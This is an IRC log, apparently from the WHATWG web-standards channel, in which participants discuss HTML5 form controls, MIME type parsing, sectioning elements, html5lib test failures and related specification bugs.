[03:39:01.0000] <tantek>
I'm merely suggesting improvements to HTML that *help* authors use microformats to solve such problems.

[03:39:02.0000] <othermaciej>
Hixie: true, though it would be kind of awful to actually use a date picker widget for those...

[03:40:00.0000] <tantek>
Hixie is there an <input type=month> for the credit card expiry date case?

[03:40:01.0000] <Lachy>
tantek, yes

[03:40:02.0000] <zcorpan__>
/me is used to just type the year/month of the credit card and would be annoyed to have to use a date picker

[03:40:03.0000] <othermaciej>
Hixie: because even though it's a month in theory, it's an arbitrary 4-digit number in the way it's used

[03:41:00.0000] <Hixie>
othermaciej: i'd expect type=month to be implemented in the way that works for credit card expiry dates

[03:41:01.0000] <Philip`>
For expiry dates you'd want it to show the month as a number rather than a name; are there are other cases where a name would be better?

[03:41:02.0000] <Lachy>
zcorpan__, it would help if the type=month control was implemented in a way that provided usability enhancements over having two text boxes

[03:42:00.0000] <othermaciej>
Hixie: if it's expected to be used for credit card dates, then indeed, it would need something significantly different from what other date/time widgets would use, to be usable

[03:42:01.0000] <zcorpan__>
Lachy: file a bug? :)

[03:42:02.0000] <Lachy>
zcorpan__, yeah. I might

[03:43:00.0000] <Lachy>
I recall seeing a nice javascript based implementation of a date picker that was optimised incredibly well for date selection

[03:43:01.0000] <Philip`>
"two text boxes" - I always see two <select> boxes

[03:43:02.0000] <Lachy>
Philip`, I've seen both

[03:43:03.0000] <Philip`>
and I can't think of any usability enhancements you could make to it

[03:44:00.0000] <Lachy>
Philip`, the one I've seen implemented in javascript before worked like this: When clicked, it brought up a row of years. When you hover over a year, a bar showed below that with all the months. Then, hovering over the month let you move down and select the date

[03:45:00.0000] <othermaciej>
the usability enhancement would be to associate it with a credit card number field and be able to enter both at once from a list of your credit cards

[03:45:01.0000] <Lachy>
so it made picking any date a 2 click operation, with just a little bit of hovering over the right bits

[04:02:00.0000] <annevk3>
/me sighs

[04:02:01.0000] <Hixie>
sup?

[04:02:02.0000] <annevk3>
trying to figure out how MIME types are to be parsed

[04:02:03.0000] <zcorpan__>
mpilgrim: no need for !! in supports_local_storage()

[04:03:00.0000] <annevk3>
apparently not executing <script type="text/javascript " src="..."> is causing issues

[04:04:00.0000] <zcorpan__>
mpilgrim: window.name is an alternative to sessionStorage that works in legacy browsers

[04:06:00.0000] <annevk3>
Hixie, for "MIME type" HTML5 references RFC2046 and not RFC2045...

[04:07:00.0000] <annevk3>
Hixie, but RFC2045 defines the actual syntax afaict

[04:07:01.0000] <zcorpan__>
hmm, how would you know which videos to store for offline use if you're providing both ogg and mp4?

[04:08:00.0000] <eighty4>
is there number on how many people that need stuff like <label> and such?

[04:08:01.0000] <annevk3>
MIME specs make it clear why BNF is a bad idea

[04:08:02.0000] <annevk3>
christ

[04:09:00.0000] <eighty4>
oh, and this is probably the wrong channel to ask that, sorry...

[04:09:01.0000] <Hixie>
annevk3: yeah, that's intentional iirc

[04:09:02.0000] <annevk3>
Hixie, do you know if parsing a media type makes the whitespace go away?

[04:10:00.0000] <Hixie>
annevk3: i doubt that's defined anywhere

[04:10:01.0000] <annevk3>
Hixie, I'd assume you can write stuff like text/html ;charset=utf-8 but I don't know

[04:10:02.0000] <annevk3>
:/

[04:10:03.0000] <Hixie>
annevk3: yeah, the 2046 is intentional; i reference http for the actual syntax (next paragraph)

[04:11:00.0000] <annevk3>
cheers

[04:11:01.0000] <Hixie>
hm, i really don't define how you parse mime types anywhere?

[04:11:02.0000] <Hixie>
that seems like a big ommission

[04:11:03.0000] <annevk3>
i guess whitespace is allowed then given that HTTP allows whitespace everywhere

[04:12:00.0000] <annevk3>
Hixie, I'm willing to file a bug :)

[04:13:00.0000] <annevk3>
Hixie, it could make the various things that accept mime types as arguments slightly less ambigious

[04:13:01.0000] <Hixie>
yeah

[04:13:02.0000] <annevk3>
if there's a proper dfn of how to get the mime type and parameters

[04:13:03.0000] <Hixie>
we have some algorithms for parsing the charset="" parameter

[04:14:00.0000] <Hixie>
(which has little to do with the right way to do things)

[04:14:01.0000] <Hixie>
(now in mimesniff, as the "algorithm for extracting an encoding from a Content-Type")

[04:15:00.0000] <Hixie>
http://tools.ietf.org/html/draft-abarth-mime-sniff-01 says to use the HTTP spec to parse the mime type itself

[04:15:01.0000] <annevk3>
done

[04:16:00.0000] <zcorpan__>
i thought philipj had complained about parsing mime types not being defined (for canPlayType and <source type>)

[04:16:01.0000] <annevk3>
http://www.w3.org/Bugs/Public/show_bug.cgi?id=7549

[04:16:02.0000] <Hixie>
zcorpan__: any idea if i replied already?

[04:16:03.0000] <zcorpan__>
Hixie: don't remember

[04:16:04.0000] <annevk3>
if it's invalid that's ok too, if someone can explain how the HTTP BNF works and that it allows the trailing space

[04:17:00.0000] <zcorpan__>
annevk3: i thought there was a clause somewhere saying that whitespace is allowed between any and all tokens in the BNF, but i might be mistaken

[04:18:00.0000] <annevk3>
zcorpan__, yeah, something like that

[04:18:01.0000] <zcorpan__>
not that it matches what is implemented

[04:18:02.0000] <zcorpan__>
text / html

[04:18:03.0000] <annevk3>
zcorpan__, they plan on fixing the not being explicit part in HTTPbis

[04:18:04.0000] <annevk3>
zcorpan__, I doubt they'd fix that though

[04:19:00.0000] <annevk3>
zcorpan__, because of the gazillion non-browser implementations that can read gibberish

[04:19:01.0000] <zcorpan__>
interop++

[04:19:02.0000] <Hixie>
i don't think the httpbis work is going to really fix much of what we think needs fixing

[04:20:00.0000] <Hixie>
throw it onto the pile of things for us to fix later

[04:20:01.0000] <annevk3>
i think we did before it started :p

[04:20:02.0000] <Hixie>
true

[04:31:00.0000] <Lachy>
I found this slightly improved date picker UI example. It's not the one I was looking for, though. http://onemarco.com/2008/12/13/improving-the-date-picker-user-interface-ui/

[04:51:00.0000] <hsivonen>
tantek: does it need any changes except zapping axis?

[04:51:01.0000] <hsivonen>
(and border and summary)

[04:52:00.0000] <hsivonen>
or moving part of summary to <caption>

[04:52:01.0000] <hsivonen>
are there Super Friend-authored sites with real-world multidimensional tables?

[04:53:00.0000] <jgraham>
/me wonders what "it" is

[04:53:01.0000] <hsivonen>
jgraham: the sample table at http://www.w3.org/TR/html401/struct/tables.html#h-11.4.2

[04:56:00.0000] <jgraham>
/me suddenly realises that must be the table that was supposed to correspond to the summary attribute example that bounced around public-html for a while

[05:01:00.0000] <hsivonen>
mercurial pulls in a ridiculous dependency tree

[05:01:01.0000] <hsivonen>
xorg-libXScrnSaver

[05:01:02.0000] <hsivonen>
is one of the deps...

[05:05:00.0000] <Hixie>
othermaciej: do you know if there is any way to turn off paging on mac os X? (i have a machine with plenty of ram and i'd rather fail hard when something leaks memory than fail to disk with the resulting massive slowdown)

[05:06:00.0000] <othermaciej>
Hixie: I think there is some way to configure the kernel not to swap, but I don't know offhand what it is

[05:06:01.0000] <Hixie>
k

[05:06:02.0000] <othermaciej>
my guess is that it would be a sysctl parameter

[05:07:00.0000] <zcorpan__>
hmm, there's a new "Profile" option in validator.nu, though it doesn't seem to do anything yet

[05:08:00.0000] <othermaciej>
I guess I'd add that even if you can turn off the use of swap space, it might not be possible to prevent discarding buffer cache pages that aren't dirty, so unused parts of your executable or shared libs could get tossed and reloaded later

[05:08:01.0000] <annevk3>
zcorpan__, see rubys' blog

[05:08:02.0000] <Hixie>
vm.swapusage maybe

[05:11:00.0000] <Hixie>
apparently i need to disable dynamic_pager

[05:11:01.0000] <Hixie>
i guess launchd will let me do that

[05:11:02.0000] <Hixie>
though god knows what the result will be!

[05:14:00.0000] <othermaciej>
OS X does run without paging on iPhone

[05:15:00.0000] <othermaciej>
but I don't know if Mac OS X is prepared for the consequences

[05:19:00.0000] <Hixie>
i have this other box - my partner's 2007 macbook - which has been paging like crazy ever since we installed snow leopard

[05:19:01.0000] <Hixie>
i think it's some issue with flash

[05:19:02.0000] <Hixie>
it happens a lot when my partner uses this game on facebook

[05:20:00.0000] <Hixie>
which of course is always left in the background in one of safari's tabs... along with gmail and calendar...

[05:22:00.0000] <zcorpan__>
/me notes that <object type> doesn't interact so well with other form controls' .type when iterating .elements

[05:22:01.0000] <Hixie>
yeah, not much we can do about that

[05:26:00.0000] <annevk3>
what is the use case for iterating and calling the validation stuff anyway?

[05:28:00.0000] <Hixie>
checking each control is valid, finding all the controls that are required and not set, etc

[05:28:01.0000] <othermaciej>
Flash running in a separate process has mostly stopped it from taking down Safari, but it seems (anecdotally) like it might have increased the CPU hogging and such

[05:29:00.0000] <annevk3>
Hixie, but the UA already does that, no?

[05:29:01.0000] <Hixie>
annevk3: not if you, e.g., want to make a list of all the missing fields in your UI

[05:47:00.0000] <hsivonen>
awesome. my Typinator macro for the xlink namespace has a type

[05:47:01.0000] <hsivonen>
typo

[06:25:00.0000] <annevk3>
http://www.sitepen.com/blog/2009/09/02/json-namespacing/ -- "XML’s namespacing colon cancer"

[06:39:00.0000] <zcorpan__>
Hixie: the same <section> confusion: http://www.sitepoint.com/forums/showthread.php?t=636355

[06:56:00.0000] <Lachy>
one thing that might help a little bit is if there was actually an example illustrating how to use <article> without <section>, in the #the-article-element section

[06:57:00.0000] <Lachy>
something like this:

[06:57:01.0000] <Lachy>
<article>

[06:57:02.0000] <Lachy>
  <header><h1>Some Heading</h1></header>

[06:57:03.0000] <Lachy>
  <p>A few paragraphs, maybe a list or something to illustrate the article content.

[06:57:04.0000] <Lachy>
</article>

[06:58:00.0000] <Lachy>
although, the <header> should probably be excluded from the example, or filled in with additional stuff too

[06:59:00.0000] <Lachy>
maybe <header><h1>...</h1><p>Published <time ...>...</time></header>

[07:08:00.0000] <zcorpan__>
Lachy: yes, that might help

[07:08:01.0000] <zcorpan__>
the definition of <section> probably also needs to be clearer

[07:09:00.0000] <Lachy>
bug filed http://www.w3.org/Bugs/Public/show_bug.cgi?id=7552

[07:21:00.0000] <boblet>
myakura: Vant?

[07:22:00.0000] <boblet>
myakura: hey :)

[07:23:00.0000] <Lachy>
#the-section-element already has an example illustrating what I just filed the bug about.

[07:23:01.0000] <Lachy>
And it's the example that I had written too :-)

[07:24:00.0000] <Lachy>
it wouldn't hurt to have additional example in the <article> element section too, I suppose

[07:40:00.0000] <myakura>
boblet: heya

[07:40:01.0000] <mpilgrim>
boblet: s/HTML 5/HTML5/g deployed

[07:41:00.0000] <mpilgrim>
hsivonen: i am aware of the patent issues, i even mention them in the video detection section

[07:41:01.0000] <mpilgrim>
and i'll mention them again in the video chapter

[07:42:00.0000] <boblet>
myakura: dude, how am I even gonna get into your HTML5 speech in Ginza? can I carry your bag or something?

[07:42:01.0000] <boblet>
mpilgrim: that was basically your only feedback from like 4 ppl huh :D

[07:43:00.0000] <myakura>
boblet: heh.

[07:43:01.0000] <mpilgrim>
i will have explicit instructions on encoding H.264Baseline+AAC/LC+MP4 that match the codec parameters given

[07:43:02.0000] <mpilgrim>
and copies notes on H.264 profiles and stuff

[07:44:00.0000] <boblet>
myakura: good to be popular!

[07:44:01.0000] <myakura>
boblet: well it seems that I have another one on the 10th of November in Digital Hollywood Tokyo. This one would be better for you, cuz it's the day before WDE.

[07:45:00.0000] <mpilgrim>
zcorpan__: it's true that <canvas> allows fallback content (and i should mention that), but i think it's a different situation than <video>

[07:46:00.0000] <mpilgrim>
99% of the time, people put <video> on a page because they want to show a video and nothing more

[07:46:01.0000] <mpilgrim>
whereas 99% of the time, people put <canvas> on a page because they want to draw on it, and the fallback content is just going to be empty or next-to-useless

[07:46:02.0000] <boblet>
myakura: if this year is like last year I’ll have zero time then ;( that was a 18 hour day of cat herding

[07:46:03.0000] <boblet>
still good to know

[07:47:00.0000] <mpilgrim>
i should mention the capability anyway because of accessibility, and for the 1% case where you could actually provide a useful fallback

[07:47:01.0000] <mpilgrim>
but i suspect that the use cases will end up at opposite ends of the spectrum

[07:47:02.0000] <Rik|work>
mpilgrim: maybe a flash equivalent ?

[07:50:00.0000] <mpilgrim>
maybe

[07:50:01.0000] <mpilgrim>
but i think people who care enough to program a flash version will just use the flash version to the exclusion of anything else

[07:50:02.0000] <mpilgrim>
zcorpan__: extraneous !! will be removed in next checkin

[07:51:00.0000] <mpilgrim>
whew, i think that takes care of all the feedback from irc, twitter, and email

[07:51:01.0000] <zcorpan__>
mpilgrim: (i saw more unnecessary !! than the one i mentioned)

[07:52:00.0000] <mpilgrim>
yeah, they're fixed but not deployed

[07:52:01.0000] <mpilgrim>
they're all fixed and consistent now

[07:52:02.0000] <mpilgrim>
oh, the table-of-contents.html is still a 404

[07:53:00.0000] <mpilgrim>
bah

[07:53:01.0000] <mpilgrim>
screw it, i'm writing a script to autogenerate it

[07:53:02.0000] <mpilgrim>
updating the TOC manually was the biggest PITA in "Dive Into Python 3"

[07:54:00.0000] <annevk2>
maybe you should use the document outline tool?

[07:54:01.0000] <mpilgrim>
second only to manually updating the next/previous links between chapters that i kept rearranging

[07:54:02.0000] <annevk2>
html5 ftw

[07:54:03.0000] <mpilgrim>
what a concept

[07:54:04.0000] <mpilgrim>
is there a standalone version?

[07:55:00.0000] <annevk2>
http://gsnedders.html5.org/outliner/

[07:55:01.0000] <jgraham>
mpilgrim: Not afaik, but I could probably make you one this evening if you like

[07:55:02.0000] <annevk2>
oh, source code

[07:55:03.0000] <annevk2>
hmm

[07:55:04.0000] <jgraham>
s/this evening/maybe this evening maybe over the next couple of evenings/

[07:56:00.0000] <mpilgrim>
html5lib doesn't do this yet?

[07:56:01.0000] <jgraham>
html5lib is just a parser. Well and a bunch of other things I wish I didn';t have to maintain

[07:57:00.0000] <jgraham>
But the anolis outline tool would be pretty easy to extract into a standalone product

[07:58:00.0000] <jgraham>
(I also wrote an outline tool but I don't suggest using it for anything)

[07:59:00.0000] <jgraham>
http://hg.hoppipolla.co.uk/hgwebdir.cgi/anolis/file/16550726fd0d/anolislib/processes/outliner.py is the code if you want to do it yourself

[08:03:00.0000] <zcorpan__>
hmm, maybe video and audio should support the url decomposition attributes so it's easy to set a fragment identifier for start and end position

[08:07:00.0000] <annevk2>
wouldn't a dedicated API be better?

[08:07:01.0000] <annevk2>
in fact, i'm not even sure how decomposition would work given that alternate resources could be selected

[08:07:02.0000] <TabAtkins>
jgraham: holy crap, you're right about that table being the one that the super-confusing @summary was designed for.

[08:08:00.0000] <annevk2>
/me wonders if there's an assumption that all <source> resources are of equal length

[08:08:01.0000] <jgraham>
TabAtkins: Yeah. I would _never_ have got from that summary to that table layout

[08:09:00.0000] <TabAtkins>
Or vice-versa, to be honest.

[08:09:01.0000] <beowulf>
url?

[08:09:02.0000] <beowulf>
i mean, web address?

[08:09:03.0000] <jgraham>
heh

[08:10:00.0000] <jgraham>
http://www.w3.org/TR/html401/struct/tables.html#h-11.4.2

[08:10:01.0000] <jgraham>
is the table

[08:10:02.0000] <beowulf>
haha

[08:10:03.0000] <beowulf>
i was so wrong, i suck

[08:11:00.0000] <TabAtkins>
Yeah, sorry beowulf.  You lose.

[08:11:01.0000] <TabAtkins>
But so does everyone else IN THE ENTIRE WORLD.

[08:12:00.0000] <jgraham>
(the summary is in http://lists.w3.org/Archives/Public/public-html/2009Jun/0684.html for those following along at home)

[08:12:01.0000] <TabAtkins>
So that qualifies as an argument against @summary, right?  ^_^

[08:12:02.0000] <jgraham>
Can we please not use the words "argument" and "summary" in the same sentence?

[08:13:00.0000] <jgraham>
They make my email client tremble

[08:13:01.0000] <beowulf>
haha

[08:13:02.0000] <TabAtkins>
Hahaha

[08:16:00.0000] <TabAtkins>
I think part of the problem is that the table in question is organized somewhat confusingly.  It has two levels of row headers - I'd probably move the city names to a column preceding the others, and @colspan them to cover the dates.

[08:17:00.0000] <TabAtkins>
By putting both levels of headers in the same table they make it hard to describe easily.

[08:21:00.0000] <TabAtkins>
Hrm.  I'll also note that the first column does *not* contain merged table cells, unless they're referring to the issue I just brought up.

[08:32:00.0000] <beowulf>
Warnock's Dilemma should have another interpretation: Mail clients are scared of the responses

[08:35:00.0000] <jcranmer>
there's an easy solution to the issue... just use the relational database model which has been around for the past 20-30 years...

[08:44:00.0000] <TabAtkins>
jcranmer: Yeah, 'easy'.

[08:45:00.0000] <TabAtkins>
Relational databases *are* easy.  Doesn't mean it's an easy solution for the average author.  ^_^

[08:46:00.0000] <jcranmer>
in a few years, I expect relational database to be standard course material at the collegiate if not the high school-level

[08:46:01.0000] <TabAtkins>
They're definitely standard at college level.  I doubt they're standard at highschool.

[08:46:02.0000] <jcranmer>
well, my school system now requires people to learn GIS

[08:50:00.0000] <mpilgrim>
http://www.reddit.com/r/programming/comments/9ipvm/detecting_html_5_features_dive_into_html_5/

[08:50:01.0000] <mpilgrim>
#3 in /r/programming and just 8 comments

[08:51:00.0000] <mpilgrim>
half of which are stupid

[08:51:01.0000] <mpilgrim>
i've seen better-quality discussions on scammy affiliate marketing articles

[08:52:00.0000] <mpilgrim>
maybe i'm in the wrong business

[08:53:00.0000] <annevk2>
maybe reddit is becoming digg

[08:53:01.0000] <mpilgrim>
apparently news.ycombinator.com is like the reddit of old

[08:53:02.0000] <mpilgrim>
and stackoverflow.com is like the new.ycombinator of old

[08:54:00.0000] <mpilgrim>
so hard to keep up

[08:56:00.0000] <TabAtkins>
I do loves me some stackoverflow, though.

[09:03:00.0000] <miketaylr>
mpilgrim: fwiw, i was excited to see your book linked on reddit today.

[09:03:01.0000] <mpilgrim>
me too!

[09:03:02.0000] <mpilgrim>
i was just disappointed to see the level of discussion

[09:03:03.0000] <miketaylr>
:)

[09:03:04.0000] <miketaylr>
yeah.

[09:03:05.0000] <mpilgrim>
i got much better discussions on "Dive Into Python 3" (in /r/python)

[09:03:06.0000] <miketaylr>
especially the modernizr salespitch part

[09:04:00.0000] <mpilgrim>
was tempted to respond to that. decided to bitch about it in irc instead.

[09:04:01.0000] <miketaylr>
funny how nobody complains that half of what's in /r/programming is a salespitch for jquery

[09:04:02.0000] <miketaylr>
:P

[09:04:03.0000] <mpilgrim>
reddit does pump a hella buncha traffic, though

[09:05:00.0000] <mpilgrim>
it swamps all other referrers

[09:05:01.0000] <jcranmer>
/.?

[09:06:00.0000] <mpilgrim>
i haven't been on slashdot in a long time, so i wouldn't know

[09:06:01.0000] <mpilgrim>
i should say, reddit is currently swamping all the other referrers to http://diveintohtml5.org/detect.html

[09:06:02.0000] <mpilgrim>
including the irc logs for this channel :)

[09:07:00.0000] <hendry>
mpilgrim: do you think you could please modify the geo link to s/OMTP/OMTP BONDI/ ?

[09:07:01.0000] <mpilgrim>
sure

[09:07:02.0000] <mpilgrim>
to what?

[09:07:03.0000] <mpilgrim>
oh

[09:07:04.0000] <mpilgrim>
i see

[09:07:05.0000] <mpilgrim>
i actually had that to begin with, then second-guessed myself

[09:07:06.0000] <mpilgrim>
fixing...

[09:08:00.0000] <hendry>
mpilgrim: 1.0 is also out-of-date, though there is no /stable redirect yet. :/ Their Web server isn't maintained v. well

[09:08:01.0000] <mpilgrim>
done

[09:09:00.0000] <mpilgrim>
i just searched for "bondi location" and used the first reasonable-looking url

[09:09:01.0000] <hendry>
mpilgrim: i'm surprised you don't capitalise Web ;)

[09:09:02.0000] <mpilgrim>
i'd be happy to change it

[09:09:03.0000] <mpilgrim>
"Web"?

[09:09:04.0000] <mpilgrim>
where?

[09:09:05.0000] <hendry>
mpilgrim: i did this geo detection example a while back called http://geo.webvm.net I should probably update it.

[09:11:00.0000] <hendry>
mpilgrim: there is lowercase web in your doc. I like to see capitalised Web.

[09:11:01.0000] <mpilgrim>
WONTFIX ;)

[09:11:02.0000] <annevk2>
you should lowercase the single uppercase Web then ;)

[09:12:00.0000] <annevk2>
(and I don't mean the one in the <h2>)

[09:13:00.0000] <mpilgrim>
that's a quote

[09:13:01.0000] <hendry>
/me notices http://code.google.com/p/geo-location-javascript

[09:13:02.0000] <mpilgrim>
from a spec that capitalized it

[09:13:03.0000] <mpilgrim>
so again, WONTFIX ;)

[09:13:04.0000] <annevk2>
aah, you win

[09:14:00.0000] <mpilgrim>
bbiab

[09:15:00.0000] <annevk2>
http://www.theinquirer.net/inquirer/news/1532879/microsoft-previews-silverlight-amsterdam -- "Silverlight works on PCs and the expensive PC clone, the Apple Mac."

[09:27:00.0000] <Lachy>
I found the control I was looking for earlier related to datetime control discussion http://haineault.com/media/jquery/ui-timepickr/page/

[09:28:00.0000] <Lachy>
I reckon applying the same concept to date picking, as that one does for time picking, would be a major usability enhancement

[09:36:00.0000] <annevk2>
hmm, mpilgrim just regressed the removal of the space...

[09:36:01.0000] <annevk2>
maybe just in a few places

[10:16:00.0000] <rubys>
looks like html5lib's sanitizer exposes rather than omits unknown markup... any reason why I can't make that an option?

[10:17:00.0000] <annevk2>
if there's someone to maintain it

[10:17:01.0000] <annevk2>
iirc that's a problem with the current sanitizer already

[10:17:02.0000] <zcorpan__>
hsivonen: i get an internal error when i try to validate with the xml parser and xhtml 1.0 schemas

[10:23:00.0000] <rubys>
http://code.google.com/p/html5lib/issues/detail?id=62

[10:30:00.0000] <jgraham>
rubys: I think you coded the original so you are certianly welcome to change it :)

[10:31:00.0000] <rubys>
jgraham: I get failures running python/tests/runtests ... is that expected?

[10:31:01.0000] <jgraham>
rubys: Some failures are pretty much expected because the spec changed under us and we have not kept pace with hsivonen in fixing issues

[10:31:02.0000] <rubys>
  File "/var/lib/python-support/python2.6/simplejson/decoder.py", line 158, in JSONString

[10:31:03.0000] <rubys>
    return scanstring(match.string, match.end(), encoding, strict)

[10:31:04.0000] <rubys>
ValueError: Invalid \uXXXX escape: line 121 column 48 (char 3997)

[10:32:00.0000] <jgraham>
Oh, and new versions of simplejson enforce valid UTF-8 and we have tests for invalid UTF8 in JSON format

[10:33:00.0000] <jgraham>
That badly needs fixing

[10:33:01.0000] <jgraham>
/me obviously has not been spending enough time on htis

[10:33:02.0000] <jgraham>
*this

[10:34:00.0000] <jgraham>
(there should be, iirc, something like 5 unique treebuilder tests that fail * the number of tree implementations that you have)

[10:34:01.0000] <jgraham>
(so typically 25 fails)

[10:44:00.0000] <rubys>
jgraham: I only get one failure... a hard one that stops testing.

[10:53:00.0000] <rubys>
Running on a machine with 2.5.2, I get FAILED (failures=173, errors=1)

[10:56:00.0000] <rubys>
just testing the sanitizer, I get 5 failures (on either 2.5.2 or 2.6.2)

[11:07:00.0000] <jgraham>
rubys: Oh. That seems much worse than I thought

[11:08:00.0000] <jgraham>
/me will investigate

[11:36:00.0000] <zcorpan__>
why is http://www.whatwg.org/specs/web-apps/current-work/multipage/video.html#offsets-into-the-media-resource marked as being considered for removal?

[11:36:01.0000] <zcorpan__>
is it an old annotation intended for the looping/start/end etc stuff that were removed before?

[11:37:00.0000] <annevk2>
prolly

[11:37:01.0000] <annevk2>
you edited it last

[11:38:00.0000] <zcorpan__>
yeah

[11:38:01.0000] <zcorpan__>
now i just need to figure out where to find the password for the annotation system

[11:39:00.0000] <zcorpan__>
/me requests a new account

[11:42:00.0000] <zcorpan__>
fixed

[12:46:00.0000] <zcorpan__>
what is controversial about "HTML vs XHTML"?

[12:46:01.0000] <annevk2>
?

[12:46:02.0000] <zcorpan__>
in the spec

[12:46:03.0000] <zcorpan__>
it's annotated as controversial

[12:47:00.0000] <tantek>
hsivonen, the example at http://www.w3.org/TR/html401/struct/tables.html#h-11.4.2 sans axis and border attributes, and with a suitable replacement for summary (whatever HTML5 suggests) would indeed be a good start for a multidimensional table example.

[12:47:01.0000] <annevk2>
zcorpan__, if your name is Dean Edridge I suppose it is

[12:49:00.0000] <zcorpan__>
changed it to LC

[12:50:00.0000] <gsnedders>
XHTML2 WG disagreed with it

[12:50:01.0000] <annevk2>
the annotation system is not section aware it seems

[12:51:00.0000] <annevk2>
e.g. annotations for 1.9 apply to 1.10 as well...

[12:55:00.0000] <zcorpan__>
annevk2: right. i think Hixie expects all sections to have annotations in the end

[12:55:01.0000] <Lachy>
zcorpan__, I think I just overwrote your change to the annotation. Although it was still marked controversial when I loaded the spec to see it

[12:55:02.0000] <zcorpan__>
gsnedders: i thought they disagreed with the relationship section

[12:55:03.0000] <Lachy>
didn't see your comment about marking it LC before I changed it

[12:56:00.0000] <gsnedders>
zcorpan__: both, IIRC

[12:56:01.0000] <zcorpan__>
oh well

[12:56:02.0000] <Lachy>
changed it back to CL

[12:56:03.0000] <Lachy>
LC

[12:56:04.0000] <annevk2>
isn't it widely implemented and deployed?

[12:57:00.0000] <zcorpan__>
annevk2: it just explains the differences. it can't be implemented :)

[12:58:00.0000] <zcorpan__>
also, xhtml isn't widely deployed ;)

[12:59:00.0000] <annevk2>
hmm, wide enough not to kill it apparently

[12:59:01.0000] <tantek>
 just different interpretations of "deployed" :)

[13:07:00.0000] <rubys>
no, just different interpretations of "xhtml" :-)

[13:09:00.0000] <murr4y>
so, do you guys think it will be properly deployed (served as xml) in the future?

[13:09:01.0000] <murr4y>
or that the regular html syntax will prevail?

[13:10:00.0000] <rubys>
only by crazy people.  (note: I'm one of them)

[13:21:00.0000] <annevk3>
rubys, what was the reason you did this again? just to show you can?

[13:21:01.0000] <tantekc>
annevk3 , what is "this"?

[13:21:02.0000] <rubys>
"this" being xhtml?

[13:23:00.0000] <rubys>
annevk3: if by "this" you mean application/xhtml+xml, I blame mpilgrim.

[13:35:00.0000] <annevk3>
rubys, is this similar to little game you had going on where he did semantic HTML and you did HTML scraping?

[13:41:00.0000] <rubys>
I assume that you are referring to Million Dollar markup and posts by citation.  That's the right era (2002).  He convinced me to clean up my markup.  He since joined Google.

[13:42:00.0000] <annevk3>
I'm aware of the irony :)

[13:43:00.0000] <annevk3>
Anyway, I was just wondering if there's some kind of practical reason that required XHTML, but when asking that I forgot that not all browsers support embedded SVG and MathML just yet

[13:45:00.0000] <rubys>
and there is alway the "because I can" motivation.  I have found that being demonstrably able to do it has provided me considerable street cred when talking to people who think that it is easy.

[14:12:00.0000] <jamesr>
why doesn't a MessagePort have an onclose or ondisentangle event?

[14:14:00.0000] <annevk3>
if you have a good use case I'm sure it can be added

[14:29:00.0000] <Hixie>
jamesr: because it would expose details of the garbage collector

[14:29:01.0000] <Hixie>
and we don't want to specify how GC works in that much detail

[14:30:00.0000] <jamesr>
what would it expose other than "the thing has to get collected eventually"?

[14:35:00.0000] <jamesr>
or is that too much?

[14:37:00.0000] <Hixie>
jamesr: it would expose when it was GC'ed

[14:42:00.0000] <jgraham>
(python has __del__ methods on objects and it is something of a disaster because they are not called reliably. As a consequence it's considered bad practice to use them even without the same kind of interoperability problems that you get on the web)

[14:42:01.0000] <jamesr>
upon reflection it wouldn't be very useful

[14:43:00.0000] <jamesr>
java finalizers are basically useless as well

[14:57:00.0000] <jgraham>
rubys: (in case you raed the logs) I just pushed some changes to html5lib that fix the sanitizer testcases

[14:58:00.0000] <annevk3>
Hixie, closing a bunch of HTML WG bugs btw

[14:58:01.0000] <annevk3>
/me is a bit bored

[14:58:02.0000] <and>
annevk3: Did you test whitespace stripping in IE’s encoding matching algorithm on labels from both meta charset and HTTP header? (I am not sure how significant whitespace is supposed to be encoded in a HTTP header, and trailing literal whitespace will presumably be removed by the HTTP layer.)

[14:58:03.0000] <jgraham>
rubys: Actually no I didn't because it won't accept the push for some reason

[14:58:04.0000] <annevk3>
and, I got this info from someone on the IE Team

[14:59:00.0000] <and>
annevk3: OK.

[14:59:01.0000] <annevk3>
and, he also gave me this: http://lists.w3.org/Archives/Public/public-html-comments/2009Sep/0050.html

[14:59:02.0000] <annevk3>
and, list with encodings IE should support

[14:59:03.0000] <annevk3>
/me hasn't looked at that in detail yet

[14:59:04.0000] <jgraham>
Oh it seems to have worked on the third attempt

[15:00:00.0000] <jgraham>
silly unreliable google

[15:01:00.0000] <gsnedders>
and: In HTTP leading and trailing LWS is insignificant

[15:06:00.0000] <and>
gsnedders: Thanks. What about, e.g., after the colon in "Content-Type: text/html; charset=ISO-8859-1"?

[15:06:01.0000] <gsnedders>
and: Insignificant

[15:07:00.0000] <and>
gsnedders: Yes, of course. Sorry, I meant after the equals sign.

[15:07:01.0000] <gsnedders>
and: Insignificant

[15:07:02.0000] <annevk3>
what gsnedders is saying here is all "in theory" btw

[15:07:03.0000] <mpilgrim>
/me pines for the good old days when the topic was in english

[15:07:04.0000] <gsnedders>
Yeah

[15:08:00.0000] <annevk3>
http://tools.ietf.org/html/draft-abarth-mime-sniff -- search for "extracting an encoding from a Content-Type"

[15:08:01.0000] <annevk3>
mpilgrim, feel free to change it back

[15:08:02.0000] <gsnedders>
That's only for meta@charset though

[15:08:03.0000] <gsnedders>
What's done for the actual HTTP header is difference

[15:08:04.0000] <annevk3>
gsnedders, I don't think so

[15:09:00.0000] <gsnedders>
annevk3: They are

[15:09:01.0000] <annevk3>
gsnedders, that's not the intent of that algorithm, iirc

[15:10:00.0000] <gsnedders>
IIRC it is

[15:11:00.0000] <annevk3>
did you read that section?

[15:11:01.0000] <annevk3>
oh well

[15:11:02.0000] <gsnedders>
I'm watching TV now :P

[15:12:00.0000] <mpilgrim>
no, i'd rather sit back and complain that the process is unfair

[15:14:00.0000] <annevk3>
if there's one thing the world needs, it's more armchair generals!

[15:15:00.0000] <mpilgrim>
7,393 pageviews on http://diveintohtml5.org/detect.html since publishing it

[15:15:01.0000] <mpilgrim>
over 60% of those are from a single link on reddit

[15:16:00.0000] <mpilgrim>
which still has a very poor signal-to-noise ratio

[15:17:00.0000] <Philip`>
When I published something a while ago, I got tens of thousands of hits from StumbleUpon, which far exceeded Reddit and Slashdot and everywhere else

[15:18:00.0000] <mpilgrim>
my "how to install windows xp in 5 hours or less" article was/is on stumbleupon

[15:18:01.0000] <Philip`>
though it seems relatively few people from StumbleUpon got any further than looking at the front page, and the latter sites provided many more interested visitors

[15:18:02.0000] <mpilgrim>
i still get 900+ hits a day on that article

[15:18:03.0000] <Philip`>
Hmm, 5 hour install?

[15:19:00.0000] <Philip`>
/me has spent the past two days installing and setting up Gentoo on a new laptop

[15:19:01.0000] <jamesr>
i'm back with a use case!

[15:19:02.0000] <gavin>
